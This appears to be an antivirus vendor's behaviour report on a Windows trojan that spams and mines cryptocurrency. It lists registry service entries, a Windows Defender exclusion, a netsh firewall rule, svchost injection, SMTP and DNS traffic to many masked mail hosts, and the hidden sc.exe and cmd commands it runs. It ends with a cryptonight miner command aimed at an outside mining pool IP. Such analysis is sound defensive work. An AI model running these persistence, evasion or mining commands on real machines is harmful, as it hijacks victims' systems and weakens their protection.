Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\otkqgwuh] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\otkqgwuh] 'ImagePath' = '%WINDIR%\SysWOW64\otkqgwuh\bkcbkwar.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\otkqgwuh] 'ImagePath' = '%WINDIR%\SysWOW64\otkqgwuh\bkcbkwar.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\otkqgwuh' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\bkcbkwar.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\bkcbkwar.exe to %WINDIR%\syswow64\otkqgwuh\bkcbkwar.exe
Deletes itself.
Network activity
Connects to
- 'mt##.##0.yahoodns.net':25
- 'mx#######901.gslb.pphosted.com':25
- 'ma##.curt.dk':25
- 'mx.##enet.gr':25
- 'd1######.#ss.barracudanetworks.com':25
- 'ma####.idianet.net':25
- 'yb####.mail.yahoo.co.jp':25
- 'alt1.gmail-smtp-in.l.google.com':25
- 'mx.###sin.plus.net':25
- 'cl######.us.messagelabs.com':25
- '14#.#6.108.92':484
- 'alt1.aspmx.l.google.com':25
- 'localhost':25
- 'ma##.#rotonmail.ch':25
- 'mx###.##il.am0.yahoodns.net':25
- 'mx###.#verycloudtech.us':25
- 'mx#.#ebhero.com':25
- 'mx.###mexperts.com':25
- 'mx#.#otmail.com':25
- 'mx.##dafile.com':25
- 'pf####mt02.pfa.dk':25
- 'mx#######601.gslb.pphosted.com':25
- 'mx#.##il.icloud.com':25
- 'alt4.gmail-smtp-in.l.google.com':25
- 'mx####.##il.gm0.yahoodns.net':25
- 'go###e.com.au':443
- 'mx#.##rthlink.net':25
- 'et###.#ail.tiscali.it':25
- 'ba#####da.clxeurope.com':25
- 'sc####r08.acw.at':25
- 'alt3.gmail-smtp-in.l.google.com':25
- 'sm##.##cureserver.net':25
- 'ip##fo.io':80
- 'mx#.##ailsrvr.com':25
- 'sp##.##tconsulting.com':25
- 'fr###oge.co.in':443
- 'gmail-smtp-in.l.google.com':25
- 's1##.#ecure.ne.jp':25
- 'mx#.##tsolmail.net':25
- 'alt2.gmail-smtp-in.l.google.com':25
- 'ma#######xcite.roc2.bluetie.com':25
- 'sm######.mc.a.cloudfilter.net':25
- 'aspmx.l.google.com':25
- 'mx######64701.pphosted.com':25
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK ma#.com
- DNS ASK mx#.##il.icloud.com
- DNS ASK ua##.com
- DNS ASK mx#######601.gslb.pphosted.com
- DNS ASK es###orp.com
- DNS ASK mc##i.com
- DNS ASK br###erz.com
- DNS ASK ix.##tcom.com
- DNS ASK bl#######dressagestables.com
- DNS ASK ml##ded.com
- DNS ASK pf#.dk
- DNS ASK pf####mt02.pfa.dk
- DNS ASK en#####rexport.plus.com
- DNS ASK sa####bullet.com
- DNS ASK bl######rdesignbuild.com
- DNS ASK ma#######xcite.roc2.bluetie.com
- DNS ASK ex##te.com
- DNS ASK s1##.#ecure.ne.jp
- DNS ASK ha##to.com
- DNS ASK go###e.com.au
- DNS ASK ti##ali.it
- DNS ASK al##ac.com
- DNS ASK bc#.co.at
- DNS ASK sc####r08.acw.at
- DNS ASK mx.###sin.plus.net
- DNS ASK hz####rniture.com
- DNS ASK mx#######801.gslb.pphosted.com
- DNS ASK ip##fo.io
- DNS ASK pc###orp.com
- DNS ASK mx#.##ailsrvr.com
- DNS ASK bc####sulting.com
- DNS ASK sp##.##tconsulting.com
- DNS ASK fr###oge.co.in
- DNS ASK google.com
- DNS ASK ns###astics.com
- DNS ASK sm######.mc.a.cloudfilter.net
- DNS ASK cf##.com
- DNS ASK bl######renvironmental.com
- DNS ASK mx#######901.gslb.pphosted.com
- DNS ASK mi##y.com
- DNS ASK ma##.#rotonmail.ch
- DNS ASK ya##o.co.uk
- DNS ASK ma##.otenet.gr
- DNS ASK we####utopaint.com
- DNS ASK mx###.#verycloudtech.us
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK ya###.com.br
- DNS ASK mx#.#ebhero.com
- DNS ASK ma##box.gr
- DNS ASK mx.###mexperts.com
- DNS ASK so###xports.com
- DNS ASK so##los.pt
- DNS ASK us#.edu
- DNS ASK ig##zio.it
- DNS ASK ca##ods.com
- DNS ASK ya##o.com
- DNS ASK yo###oob.com
- DNS ASK po#.#unils.com
- DNS ASK cu#t.dk
- DNS ASK ma##.curt.dk
- DNS ASK ot##et.gr
- DNS ASK mx.##enet.gr
- DNS ASK bo###anada.com
- DNS ASK es##ous.com
- DNS ASK ee#.#pson.com
- DNS ASK cl######.us.messagelabs.com
- DNS ASK d1######.#ss.barracudanetworks.com
- DNS ASK yb####.mail.yahoo.co.jp
- DNS ASK ve###net.com
- DNS ASK co###ile.com
- DNS ASK mx.##dafile.com
- DNS ASK 30#0.it
- DNS ASK id##net.fr
- DNS ASK ma####.idianet.net
- DNS ASK yb#.ne.jp
- DNS ASK so####rivein.com
- DNS ASK ba#####da.clxeurope.com
- DNS ASK cl###rope.com
- DNS ASK mx#.####strialservicesrl.it
- DNS ASK li######ryinterieurs.com
- DNS ASK aspmx.l.google.com
- DNS ASK alt3.gmail-smtp-in.l.google.com
- DNS ASK ti###linet.it
- DNS ASK et###.#ail.tiscali.it
- DNS ASK ya##o.it
- DNS ASK th####fourteen.com
- DNS ASK mx.#####.orange-business.com
- DNS ASK me###one.net
- DNS ASK eg#a.it
- DNS ASK eg#####.##il.protection.outlook.com
- DNS ASK bn##.com
- DNS ASK gm##l.com
- DNS ASK mx.###cali.co.uk
- DNS ASK in#####ialservicesrl.it
- DNS ASK ti###li.co.uk
- DNS ASK la###ningbo.com
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK mx#.#otmail.com
- DNS ASK alt1.gmail-smtp-in.l.google.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK ma###.bnsf.com
- DNS ASK ma##.#mistaja.net
- DNS ASK sa######ofougeres.cci.fr
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK za.#bm.com
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK mx######b2d01.pphosted.com
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK ce##xray.it
- DNS ASK om###aja.net
- DNS ASK in.###babusiness.it
- DNS ASK alt2.gmail-smtp-in.l.google.com
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK ve##zon.net
- DNS ASK aj###trio.com
- DNS ASK a.##.#jazztrio.com
- DNS ASK 1e##le1.com
- DNS ASK ca###er.utc.com
- DNS ASK mx#######401.gslb.pphosted.com
- DNS ASK mx#.##tsolmail.net
- DNS ASK th###ayup.co.uk
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK pe###epc.com
- DNS ASK sm##.##cureserver.net
- DNS ASK in##usa.com
- DNS ASK mx#.###ousa.iphmx.com
- DNS ASK ea###link.com
- DNS ASK dw##pa.com
- DNS ASK mx#.##rthlink.net
- DNS ASK be###rdnet.com
- DNS ASK ae##8.com
- DNS ASK sp####alltravel.com
- DNS ASK mx######64701.pphosted.com
- DNS ASK mx.####.locaweb.com.br
- DNS ASK mx#.###.#ailpod6-cph3.one.com
- DNS ASK po##.tele.dk
- DNS ASK fp##.mail.dk
- DNS ASK je##o.com
- DNS ASK vi##ilio.it
- DNS ASK sm####n.virgilio.it
- DNS ASK mc##o.com
- DNS ASK alt4.gmail-smtp-in.l.google.com
- DNS ASK su##ls.com
- DNS ASK th#####kinraymond.com
- DNS ASK ci##m.com
- DNS ASK li####sydney.com
- DNS ASK nu##r.com
- DNS ASK mx#######501.gslb.pphosted.com
- DNS ASK ci###cil.com
- DNS ASK th###ayup.se
- DNS ASK gm##law.com
- DNS ASK sm##.edu
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\otkqgwuh\bkcbkwar.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\otkqgwuh\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\bkcbkwar.exe" %WINDIR%\SysWOW64\otkqgwuh\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create otkqgwuh binPath= "%WINDIR%\SysWOW64\otkqgwuh\bkcbkwar.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description otkqgwuh "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start otkqgwuh' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\otkqgwuh\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\bkcbkwar.exe" %WINDIR%\SysWOW64\otkqgwuh\
- '%WINDIR%\syswow64\sc.exe' create otkqgwuh binPath= "%WINDIR%\SysWOW64\otkqgwuh\bkcbkwar.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description otkqgwuh "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start otkqgwuh
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy -o stratum+tcp://185.16.41.185:8087 -u w1 -p x --nicehash --safe
